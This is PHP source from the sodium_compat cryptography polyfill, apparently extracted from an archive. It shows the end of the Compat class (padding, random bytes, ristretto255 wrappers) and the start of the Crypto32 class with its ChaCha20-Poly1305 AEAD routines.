            return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(
        #[\SensitiveParameter]
        &$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

    /**
     * @param string $str
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_zero(
        #[\SensitiveParameter]
        $str
    ) {
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
        }
        return ((($d - 1) >> 31) & 1) === 1;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback('library_version_major')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback('library_version_minor')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp(
        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp', $left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It's actually not possible to zero memory buffers in PHP. You need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(
        #[\SensitiveParameter]
        &$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and the PHP extension is enabled.'
        );
    }

    /**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad(
        #[\SensitiveParameter]
        $unpadded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

        if ($blockSize <= 0) {
            throw new SodiumException(
                'block size cannot be less than 1'
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize & ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len & ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

        $xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat("\0", $xpadded_len - 1);
        if ($unpadded_len > 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j <= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j >= $unpadded_len) {
                    $padded[$j] = "\0";
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k >> 48)
                                        |
                                    ($k >> 32)
                                        |
                                    ($k >> 16)
                                        |
                                    $k
                                ) - 1
                            ) >> 16
                        )
                    ) & 1;
                $i += $st;
            }
        }

        $mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i < $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1);
            # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask)
                    |
                (0x80 & $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

    /**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad(
        #[\SensitiveParameter]
        $padded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $padded = (string) $padded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize <= 0) {
            throw new SodiumException('block size cannot be less than 1');
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len < $blockSize) {
            throw new SodiumException('invalid padding');
        }

        # tail = &padded[padded_len - 1U];
        $tail = $padded_len - 1;

        $acc = 0;
        $valid = 0;
        $pad_len = 0;

        $found = 0;
        for ($i = 0; $i < $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

            # is_barrier =
            #     (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U;
            $is_barrier = (
                (
                    ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
                ) >> 7
            ) & 1;
            $is_barrier &= ~$found;
            $found |= $is_barrier;

            # acc |= c;
            $acc |= $c;

            # pad_len |= i & (1U + ~is_barrier);
            $pad_len |= $i & (1 + ~$is_barrier);

            # valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier & 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException('invalid padding');
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.'
                );
            }
        }
        /** @var positive-int $numBytes */
        if (self::use_fallback('randombytes_buf')) {
            return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        if ($numBytes < 0) {
            throw new SodiumException("Number of bytes must be a positive integer");
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int) call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int) call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

    /**
     * @param string $p
     * @param bool $dontFallback
     * @return bool
     * @throws SodiumException
     */
    public static function ristretto255_is_valid_point(
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_is_valid_point($p);
        }
        try {
            $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
            return $r['res'] === 0 &&
                ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'S is not canonical') {
                return false;
            }
            throw $ex;
        }
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_add($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_sub($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
    }

    /**
     * @param string $r
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_from_hash(
        #[\SensitiveParameter]
        $r,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_from_hash($r);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_invert(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_invert($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
    }
    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_negate($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_complement($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_add(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_add($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_sub(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_mul(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255(
        #[\SensitiveParameter]
        $n,
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255($n, $p);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base(
        #[\SensitiveParameter]
        $n,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255_base($n);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_reduce(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_reduce($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
    }

    /**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we're fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
        for ($i = 0; $i < $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
            $a->mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff < $maxTimeout;
    }

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function sub(
        #[\SensitiveParameter]
        &$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c = ($A[$i] - $B[$i] - $c);
            $A[$i] = ($c & 0xff);
            $c = ($c >> 8) & 1;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * This emulates libsodium's version_string() function, except ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string) call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name = '')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
Crypto32.php000064400000153517151024233030006707 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Crypto32', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto32
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
